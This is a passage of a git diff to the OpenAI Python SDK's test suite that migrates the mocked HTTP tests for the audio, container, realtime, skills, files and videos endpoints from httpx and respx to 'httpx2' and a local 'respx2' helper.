input="string",
@@ -133,9 +133,9 @@ async def test_raw_response_create(self, async_client: AsyncOpenAI, respx_mock:
assert_matches_type(_legacy_response.HttpxBinaryResponseContent, speech, path=["response"])
@parametrize
- @pytest.mark.respx(base_url=base_url)
- async def test_streaming_response_create(self, async_client: AsyncOpenAI, respx_mock: MockRouter) -> None:
- respx_mock.post("/audio/speech").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_streaming_response_create(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.post("/audio/speech").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
async with async_client.audio.speech.with_streaming_response.create(
input="string",
model="tts-1",
diff --git a/tests/api_resources/containers/files/test_content.py b/tests/api_resources/containers/files/test_content.py
index aa282e8c04..b71577f8a8 100644
--- a/tests/api_resources/containers/files/test_content.py
+++ b/tests/api_resources/containers/files/test_content.py
@@ -5,13 +5,13 @@
import os
from typing import Any, cast
-import httpx
+import httpx2
import pytest
-from respx import MockRouter
import openai._legacy_response as _legacy_response
from openai import OpenAI, AsyncOpenAI
from tests.utils import assert_matches_type
+from tests.respx2 import MockRouter
# pyright: reportDeprecated=false
@@ -22,10 +22,10 @@ class TestContent:
parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
@parametrize
- @pytest.mark.respx(base_url=base_url)
- def test_method_retrieve(self, client: OpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/containers/container_id/files/file_id/content").mock(
- return_value=httpx.Response(200, json={"foo": "bar"})
+ @pytest.mark.respx2(base_url=base_url)
+ def test_method_retrieve(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/containers/container_id/files/file_id/content").mock(
+ return_value=httpx2.Response(200, json={"foo": "bar"})
)
content = client.containers.files.content.retrieve(
file_id="file_id",
@@ -35,10 +35,10 @@ def test_method_retrieve(self, client: OpenAI, respx_mock: MockRouter) -> None:
assert content.json() == {"foo": "bar"}
@parametrize
- @pytest.mark.respx(base_url=base_url)
- def test_raw_response_retrieve(self, client: OpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/containers/container_id/files/file_id/content").mock(
- return_value=httpx.Response(200, json={"foo": "bar"})
+ @pytest.mark.respx2(base_url=base_url)
+ def test_raw_response_retrieve(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/containers/container_id/files/file_id/content").mock(
+ return_value=httpx2.Response(200, json={"foo": "bar"})
)
response = client.containers.files.content.with_raw_response.retrieve(
@@ -52,10 +52,10 @@ def test_raw_response_retrieve(self, client: OpenAI, respx_mock: MockRouter) ->
assert_matches_type(_legacy_response.HttpxBinaryResponseContent, content, path=["response"])
@parametrize
- @pytest.mark.respx(base_url=base_url)
- def test_streaming_response_retrieve(self, client: OpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/containers/container_id/files/file_id/content").mock(
- return_value=httpx.Response(200, json={"foo": "bar"})
+ @pytest.mark.respx2(base_url=base_url)
+ def test_streaming_response_retrieve(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/containers/container_id/files/file_id/content").mock(
+ return_value=httpx2.Response(200, json={"foo": "bar"})
)
with client.containers.files.content.with_streaming_response.retrieve(
file_id="file_id",
@@ -70,7 +70,7 @@ def test_streaming_response_retrieve(self, client: OpenAI, respx_mock: MockRoute
assert cast(Any, response.is_closed) is True
@parametrize
- @pytest.mark.respx(base_url=base_url)
+ @pytest.mark.respx2(base_url=base_url)
def test_path_params_retrieve(self, client: OpenAI) -> None:
with pytest.raises(ValueError, match=r"Expected a non-empty value for `container_id` but received ''"):
client.containers.files.content.with_raw_response.retrieve(
@@ -91,10 +91,10 @@ class TestAsyncContent:
)
@parametrize
- @pytest.mark.respx(base_url=base_url)
- async def test_method_retrieve(self, async_client: AsyncOpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/containers/container_id/files/file_id/content").mock(
- return_value=httpx.Response(200, json={"foo": "bar"})
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_method_retrieve(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/containers/container_id/files/file_id/content").mock(
+ return_value=httpx2.Response(200, json={"foo": "bar"})
)
content = await async_client.containers.files.content.retrieve(
file_id="file_id",
@@ -104,10 +104,10 @@ async def test_method_retrieve(self, async_client: AsyncOpenAI, respx_mock: Mock
assert content.json() == {"foo": "bar"}
@parametrize
- @pytest.mark.respx(base_url=base_url)
- async def test_raw_response_retrieve(self, async_client: AsyncOpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/containers/container_id/files/file_id/content").mock(
- return_value=httpx.Response(200, json={"foo": "bar"})
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_raw_response_retrieve(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/containers/container_id/files/file_id/content").mock(
+ return_value=httpx2.Response(200, json={"foo": "bar"})
)
response = await async_client.containers.files.content.with_raw_response.retrieve(
@@ -121,10 +121,10 @@ async def test_raw_response_retrieve(self, async_client: AsyncOpenAI, respx_mock
assert_matches_type(_legacy_response.HttpxBinaryResponseContent, content, path=["response"])
@parametrize
- @pytest.mark.respx(base_url=base_url)
- async def test_streaming_response_retrieve(self, async_client: AsyncOpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/containers/container_id/files/file_id/content").mock(
- return_value=httpx.Response(200, json={"foo": "bar"})
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_streaming_response_retrieve(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/containers/container_id/files/file_id/content").mock(
+ return_value=httpx2.Response(200, json={"foo": "bar"})
)
async with async_client.containers.files.content.with_streaming_response.retrieve(
file_id="file_id",
@@ -139,7 +139,7 @@ async def test_streaming_response_retrieve(self, async_client: AsyncOpenAI, resp
assert cast(Any, response.is_closed) is True
@parametrize
- @pytest.mark.respx(base_url=base_url)
+ @pytest.mark.respx2(base_url=base_url)
async def test_path_params_retrieve(self, async_client: AsyncOpenAI) -> None:
with pytest.raises(ValueError, match=r"Expected a non-empty value for `container_id` but received ''"):
await async_client.containers.files.content.with_raw_response.retrieve(
diff --git a/tests/api_resources/realtime/test_calls.py b/tests/api_resources/realtime/test_calls.py
index 1b70d02f9c..cd5466917c 100644
--- a/tests/api_resources/realtime/test_calls.py
+++ b/tests/api_resources/realtime/test_calls.py
@@ -5,13 +5,13 @@
import os
from typing import Any, cast
-import httpx
+import httpx2
import pytest
-from respx import MockRouter
import openai._legacy_response as _legacy_response
from openai import OpenAI, AsyncOpenAI
from tests.utils import assert_matches_type
+from tests.respx2 import MockRouter
# pyright: reportDeprecated=false
@@ -22,9 +22,9 @@ class TestCalls:
parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
@parametrize
- @pytest.mark.respx(base_url=base_url)
- def test_method_create(self, client: OpenAI, respx_mock: MockRouter) -> None:
- respx_mock.post("/realtime/calls").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ def test_method_create(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.post("/realtime/calls").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
call = client.realtime.calls.create(
sdp="sdp",
)
@@ -32,9 +32,9 @@ def test_method_create(self, client: OpenAI, respx_mock: MockRouter) -> None:
assert call.json() == {"foo": "bar"}
@parametrize
- @pytest.mark.respx(base_url=base_url)
- def test_method_create_with_all_params(self, client: OpenAI, respx_mock: MockRouter) -> None:
- respx_mock.post("/realtime/calls").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ def test_method_create_with_all_params(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.post("/realtime/calls").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
call = client.realtime.calls.create(
sdp="sdp",
session={
@@ -102,9 +102,9 @@ def test_method_create_with_all_params(self, client: OpenAI, respx_mock: MockRou
assert call.json() == {"foo": "bar"}
@parametrize
- @pytest.mark.respx(base_url=base_url)
- def test_raw_response_create(self, client: OpenAI, respx_mock: MockRouter) -> None:
- respx_mock.post("/realtime/calls").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ def test_raw_response_create(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.post("/realtime/calls").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
response = client.realtime.calls.with_raw_response.create(
sdp="sdp",
@@ -116,9 +116,9 @@ def test_raw_response_create(self, client: OpenAI, respx_mock: MockRouter) -> No
assert_matches_type(_legacy_response.HttpxBinaryResponseContent, call, path=["response"])
@parametrize
- @pytest.mark.respx(base_url=base_url)
- def test_streaming_response_create(self, client: OpenAI, respx_mock: MockRouter) -> None:
- respx_mock.post("/realtime/calls").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ def test_streaming_response_create(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.post("/realtime/calls").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
with client.realtime.calls.with_streaming_response.create(
sdp="sdp",
) as response:
@@ -370,9 +370,9 @@ class TestAsyncCalls:
)
@parametrize
- @pytest.mark.respx(base_url=base_url)
- async def test_method_create(self, async_client: AsyncOpenAI, respx_mock: MockRouter) -> None:
- respx_mock.post("/realtime/calls").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_method_create(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.post("/realtime/calls").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
call = await async_client.realtime.calls.create(
sdp="sdp",
)
@@ -380,9 +380,9 @@ async def test_method_create(self, async_client: AsyncOpenAI, respx_mock: MockRo
assert call.json() == {"foo": "bar"}
@parametrize
- @pytest.mark.respx(base_url=base_url)
- async def test_method_create_with_all_params(self, async_client: AsyncOpenAI, respx_mock: MockRouter) -> None:
- respx_mock.post("/realtime/calls").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_method_create_with_all_params(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.post("/realtime/calls").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
call = await async_client.realtime.calls.create(
sdp="sdp",
session={
@@ -450,9 +450,9 @@ async def test_method_create_with_all_params(self, async_client: AsyncOpenAI, re
assert call.json() == {"foo": "bar"}
@parametrize
- @pytest.mark.respx(base_url=base_url)
- async def test_raw_response_create(self, async_client: AsyncOpenAI, respx_mock: MockRouter) -> None:
- respx_mock.post("/realtime/calls").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_raw_response_create(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.post("/realtime/calls").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
response = await async_client.realtime.calls.with_raw_response.create(
sdp="sdp",
@@ -464,9 +464,9 @@ async def test_raw_response_create(self, async_client: AsyncOpenAI, respx_mock:
assert_matches_type(_legacy_response.HttpxBinaryResponseContent, call, path=["response"])
@parametrize
- @pytest.mark.respx(base_url=base_url)
- async def test_streaming_response_create(self, async_client: AsyncOpenAI, respx_mock: MockRouter) -> None:
- respx_mock.post("/realtime/calls").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_streaming_response_create(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.post("/realtime/calls").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
async with async_client.realtime.calls.with_streaming_response.create(
sdp="sdp",
) as response:
diff --git a/tests/api_resources/skills/test_content.py b/tests/api_resources/skills/test_content.py
index 91cefe204d..04d1d0c67a 100644
--- a/tests/api_resources/skills/test_content.py
+++ b/tests/api_resources/skills/test_content.py
@@ -5,13 +5,13 @@
import os
from typing import Any, cast
-import httpx
+import httpx2
import pytest
-from respx import MockRouter
import openai._legacy_response as _legacy_response
from openai import OpenAI, AsyncOpenAI
from tests.utils import assert_matches_type
+from tests.respx2 import MockRouter
# pyright: reportDeprecated=false
@@ -22,9 +22,9 @@ class TestContent:
parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
@parametrize
- @pytest.mark.respx(base_url=base_url)
- def test_method_retrieve(self, client: OpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/skills/skill_123/content").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ def test_method_retrieve(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/skills/skill_123/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
content = client.skills.content.retrieve(
"skill_123",
)
@@ -32,9 +32,9 @@ def test_method_retrieve(self, client: OpenAI, respx_mock: MockRouter) -> None:
assert content.json() == {"foo": "bar"}
@parametrize
- @pytest.mark.respx(base_url=base_url)
- def test_raw_response_retrieve(self, client: OpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/skills/skill_123/content").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ def test_raw_response_retrieve(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/skills/skill_123/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
response = client.skills.content.with_raw_response.retrieve(
"skill_123",
@@ -46,9 +46,9 @@ def test_raw_response_retrieve(self, client: OpenAI, respx_mock: MockRouter) ->
assert_matches_type(_legacy_response.HttpxBinaryResponseContent, content, path=["response"])
@parametrize
- @pytest.mark.respx(base_url=base_url)
- def test_streaming_response_retrieve(self, client: OpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/skills/skill_123/content").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ def test_streaming_response_retrieve(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/skills/skill_123/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
with client.skills.content.with_streaming_response.retrieve(
"skill_123",
) as response:
@@ -61,7 +61,7 @@ def test_streaming_response_retrieve(self, client: OpenAI, respx_mock: MockRoute
assert cast(Any, response.is_closed) is True
@parametrize
- @pytest.mark.respx(base_url=base_url)
+ @pytest.mark.respx2(base_url=base_url)
def test_path_params_retrieve(self, client: OpenAI) -> None:
with pytest.raises(ValueError, match=r"Expected a non-empty value for `skill_id` but received ''"):
client.skills.content.with_raw_response.retrieve(
@@ -75,9 +75,9 @@ class TestAsyncContent:
)
@parametrize
- @pytest.mark.respx(base_url=base_url)
- async def test_method_retrieve(self, async_client: AsyncOpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/skills/skill_123/content").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_method_retrieve(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/skills/skill_123/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
content = await async_client.skills.content.retrieve(
"skill_123",
)
@@ -85,9 +85,9 @@ async def test_method_retrieve(self, async_client: AsyncOpenAI, respx_mock: Mock
assert content.json() == {"foo": "bar"}
@parametrize
- @pytest.mark.respx(base_url=base_url)
- async def test_raw_response_retrieve(self, async_client: AsyncOpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/skills/skill_123/content").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_raw_response_retrieve(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/skills/skill_123/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
response = await async_client.skills.content.with_raw_response.retrieve(
"skill_123",
@@ -99,9 +99,9 @@ async def test_raw_response_retrieve(self, async_client: AsyncOpenAI, respx_mock
assert_matches_type(_legacy_response.HttpxBinaryResponseContent, content, path=["response"])
@parametrize
- @pytest.mark.respx(base_url=base_url)
- async def test_streaming_response_retrieve(self, async_client: AsyncOpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/skills/skill_123/content").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_streaming_response_retrieve(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/skills/skill_123/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
async with async_client.skills.content.with_streaming_response.retrieve(
"skill_123",
) as response:
@@ -114,7 +114,7 @@ async def test_streaming_response_retrieve(self, async_client: AsyncOpenAI, resp
assert cast(Any, response.is_closed) is True
@parametrize
- @pytest.mark.respx(base_url=base_url)
+ @pytest.mark.respx2(base_url=base_url)
async def test_path_params_retrieve(self, async_client: AsyncOpenAI) -> None:
with pytest.raises(ValueError, match=r"Expected a non-empty value for `skill_id` but received ''"):
await async_client.skills.content.with_raw_response.retrieve(
diff --git a/tests/api_resources/skills/versions/test_content.py b/tests/api_resources/skills/versions/test_content.py
index 8f98effade..2c0b453c6b 100644
--- a/tests/api_resources/skills/versions/test_content.py
+++ b/tests/api_resources/skills/versions/test_content.py
@@ -5,13 +5,13 @@
import os
from typing import Any, cast
-import httpx
+import httpx2
import pytest
-from respx import MockRouter
import openai._legacy_response as _legacy_response
from openai import OpenAI, AsyncOpenAI
from tests.utils import assert_matches_type
+from tests.respx2 import MockRouter
# pyright: reportDeprecated=false
@@ -22,10 +22,10 @@ class TestContent:
parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
@parametrize
- @pytest.mark.respx(base_url=base_url)
- def test_method_retrieve(self, client: OpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/skills/skill_123/versions/version/content").mock(
- return_value=httpx.Response(200, json={"foo": "bar"})
+ @pytest.mark.respx2(base_url=base_url)
+ def test_method_retrieve(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/skills/skill_123/versions/version/content").mock(
+ return_value=httpx2.Response(200, json={"foo": "bar"})
)
content = client.skills.versions.content.retrieve(
version="version",
@@ -35,10 +35,10 @@ def test_method_retrieve(self, client: OpenAI, respx_mock: MockRouter) -> None:
assert content.json() == {"foo": "bar"}
@parametrize
- @pytest.mark.respx(base_url=base_url)
- def test_raw_response_retrieve(self, client: OpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/skills/skill_123/versions/version/content").mock(
- return_value=httpx.Response(200, json={"foo": "bar"})
+ @pytest.mark.respx2(base_url=base_url)
+ def test_raw_response_retrieve(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/skills/skill_123/versions/version/content").mock(
+ return_value=httpx2.Response(200, json={"foo": "bar"})
)
response = client.skills.versions.content.with_raw_response.retrieve(
@@ -52,10 +52,10 @@ def test_raw_response_retrieve(self, client: OpenAI, respx_mock: MockRouter) ->
assert_matches_type(_legacy_response.HttpxBinaryResponseContent, content, path=["response"])
@parametrize
- @pytest.mark.respx(base_url=base_url)
- def test_streaming_response_retrieve(self, client: OpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/skills/skill_123/versions/version/content").mock(
- return_value=httpx.Response(200, json={"foo": "bar"})
+ @pytest.mark.respx2(base_url=base_url)
+ def test_streaming_response_retrieve(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/skills/skill_123/versions/version/content").mock(
+ return_value=httpx2.Response(200, json={"foo": "bar"})
)
with client.skills.versions.content.with_streaming_response.retrieve(
version="version",
@@ -70,7 +70,7 @@ def test_streaming_response_retrieve(self, client: OpenAI, respx_mock: MockRoute
assert cast(Any, response.is_closed) is True
@parametrize
- @pytest.mark.respx(base_url=base_url)
+ @pytest.mark.respx2(base_url=base_url)
def test_path_params_retrieve(self, client: OpenAI) -> None:
with pytest.raises(ValueError, match=r"Expected a non-empty value for `skill_id` but received ''"):
client.skills.versions.content.with_raw_response.retrieve(
@@ -91,10 +91,10 @@ class TestAsyncContent:
)
@parametrize
- @pytest.mark.respx(base_url=base_url)
- async def test_method_retrieve(self, async_client: AsyncOpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/skills/skill_123/versions/version/content").mock(
- return_value=httpx.Response(200, json={"foo": "bar"})
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_method_retrieve(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/skills/skill_123/versions/version/content").mock(
+ return_value=httpx2.Response(200, json={"foo": "bar"})
)
content = await async_client.skills.versions.content.retrieve(
version="version",
@@ -104,10 +104,10 @@ async def test_method_retrieve(self, async_client: AsyncOpenAI, respx_mock: Mock
assert content.json() == {"foo": "bar"}
@parametrize
- @pytest.mark.respx(base_url=base_url)
- async def test_raw_response_retrieve(self, async_client: AsyncOpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/skills/skill_123/versions/version/content").mock(
- return_value=httpx.Response(200, json={"foo": "bar"})
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_raw_response_retrieve(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/skills/skill_123/versions/version/content").mock(
+ return_value=httpx2.Response(200, json={"foo": "bar"})
)
response = await async_client.skills.versions.content.with_raw_response.retrieve(
@@ -121,10 +121,10 @@ async def test_raw_response_retrieve(self, async_client: AsyncOpenAI, respx_mock
assert_matches_type(_legacy_response.HttpxBinaryResponseContent, content, path=["response"])
@parametrize
- @pytest.mark.respx(base_url=base_url)
- async def test_streaming_response_retrieve(self, async_client: AsyncOpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/skills/skill_123/versions/version/content").mock(
- return_value=httpx.Response(200, json={"foo": "bar"})
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_streaming_response_retrieve(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/skills/skill_123/versions/version/content").mock(
+ return_value=httpx2.Response(200, json={"foo": "bar"})
)
async with async_client.skills.versions.content.with_streaming_response.retrieve(
version="version",
@@ -139,7 +139,7 @@ async def test_streaming_response_retrieve(self, async_client: AsyncOpenAI, resp
assert cast(Any, response.is_closed) is True
@parametrize
- @pytest.mark.respx(base_url=base_url)
+ @pytest.mark.respx2(base_url=base_url)
async def test_path_params_retrieve(self, async_client: AsyncOpenAI) -> None:
with pytest.raises(ValueError, match=r"Expected a non-empty value for `skill_id` but received ''"):
await async_client.skills.versions.content.with_raw_response.retrieve(
diff --git a/tests/api_resources/test_files.py b/tests/api_resources/test_files.py
index d8eec954f0..2b820c0265 100644
--- a/tests/api_resources/test_files.py
+++ b/tests/api_resources/test_files.py
@@ -5,14 +5,14 @@
import os
from typing import Any, cast
-import httpx
+import httpx2
import pytest
-from respx import MockRouter
import openai._legacy_response as _legacy_response
from openai import OpenAI, AsyncOpenAI
from tests.utils import assert_matches_type
from openai.types import FileObject, FileDeleted
+from tests.respx2 import MockRouter
from openai.pagination import SyncCursorPage, AsyncCursorPage
# pyright: reportDeprecated=false
@@ -181,9 +181,9 @@ def test_path_params_delete(self, client: OpenAI) -> None:
)
@parametrize
- @pytest.mark.respx(base_url=base_url)
- def test_method_content(self, client: OpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/files/string/content").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ def test_method_content(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/files/string/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
file = client.files.content(
"string",
)
@@ -191,9 +191,9 @@ def test_method_content(self, client: OpenAI, respx_mock: MockRouter) -> None:
assert file.json() == {"foo": "bar"}
@parametrize
- @pytest.mark.respx(base_url=base_url)
- def test_raw_response_content(self, client: OpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/files/string/content").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ def test_raw_response_content(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/files/string/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
response = client.files.with_raw_response.content(
"string",
@@ -205,9 +205,9 @@ def test_raw_response_content(self, client: OpenAI, respx_mock: MockRouter) -> N
assert_matches_type(_legacy_response.HttpxBinaryResponseContent, file, path=["response"])
@parametrize
- @pytest.mark.respx(base_url=base_url)
- def test_streaming_response_content(self, client: OpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/files/string/content").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ def test_streaming_response_content(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/files/string/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
with client.files.with_streaming_response.content(
"string",
) as response:
@@ -220,7 +220,7 @@ def test_streaming_response_content(self, client: OpenAI, respx_mock: MockRouter
assert cast(Any, response.is_closed) is True
@parametrize
- @pytest.mark.respx(base_url=base_url)
+ @pytest.mark.respx2(base_url=base_url)
def test_path_params_content(self, client: OpenAI) -> None:
with pytest.raises(ValueError, match=r"Expected a non-empty value for `file_id` but received ''"):
client.files.with_raw_response.content(
@@ -434,9 +434,9 @@ async def test_path_params_delete(self, async_client: AsyncOpenAI) -> None:
)
@parametrize
- @pytest.mark.respx(base_url=base_url)
- async def test_method_content(self, async_client: AsyncOpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/files/string/content").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_method_content(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/files/string/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
file = await async_client.files.content(
"string",
)
@@ -444,9 +444,9 @@ async def test_method_content(self, async_client: AsyncOpenAI, respx_mock: MockR
assert file.json() == {"foo": "bar"}
@parametrize
- @pytest.mark.respx(base_url=base_url)
- async def test_raw_response_content(self, async_client: AsyncOpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/files/string/content").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_raw_response_content(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/files/string/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
response = await async_client.files.with_raw_response.content(
"string",
@@ -458,9 +458,9 @@ async def test_raw_response_content(self, async_client: AsyncOpenAI, respx_mock:
assert_matches_type(_legacy_response.HttpxBinaryResponseContent, file, path=["response"])
@parametrize
- @pytest.mark.respx(base_url=base_url)
- async def test_streaming_response_content(self, async_client: AsyncOpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/files/string/content").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_streaming_response_content(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/files/string/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
async with async_client.files.with_streaming_response.content(
"string",
) as response:
@@ -473,7 +473,7 @@ async def test_streaming_response_content(self, async_client: AsyncOpenAI, respx
assert cast(Any, response.is_closed) is True
@parametrize
- @pytest.mark.respx(base_url=base_url)
+ @pytest.mark.respx2(base_url=base_url)
async def test_path_params_content(self, async_client: AsyncOpenAI) -> None:
with pytest.raises(ValueError, match=r"Expected a non-empty value for `file_id` but received ''"):
await async_client.files.with_raw_response.content(
diff --git a/tests/api_resources/test_videos.py b/tests/api_resources/test_videos.py
index 8e147c6572..71e87a4e4a 100644
--- a/tests/api_resources/test_videos.py
+++ b/tests/api_resources/test_videos.py
@@ -5,9 +5,8 @@
import os
from typing import Any, cast
-import httpx
+import httpx2
import pytest
-from respx import MockRouter
import openai._legacy_response as _legacy_response
from openai import OpenAI, AsyncOpenAI
@@ -18,6 +17,7 @@
VideoGetCharacterResponse,
VideoCreateCharacterResponse,
)
+from tests.respx2 import MockRouter
from openai._utils import assert_signatures_in_sync
from openai.pagination import SyncConversationCursorPage, AsyncConversationCursorPage
@@ -216,9 +216,9 @@ def test_streaming_response_create_character(self, client: OpenAI) -> None:
assert cast(Any, response.is_closed) is True
@parametrize
- @pytest.mark.respx(base_url=base_url)
- def test_method_download_content(self, client: OpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/videos/video_123/content").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ def test_method_download_content(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/videos/video_123/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
video = client.videos.download_content(
video_id="video_123",
)
@@ -226,9 +226,9 @@ def test_method_download_content(self, client: OpenAI, respx_mock: MockRouter) -
assert video.json() == {"foo": "bar"}
@parametrize
- @pytest.mark.respx(base_url=base_url)
- def test_method_download_content_with_all_params(self, client: OpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/videos/video_123/content").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
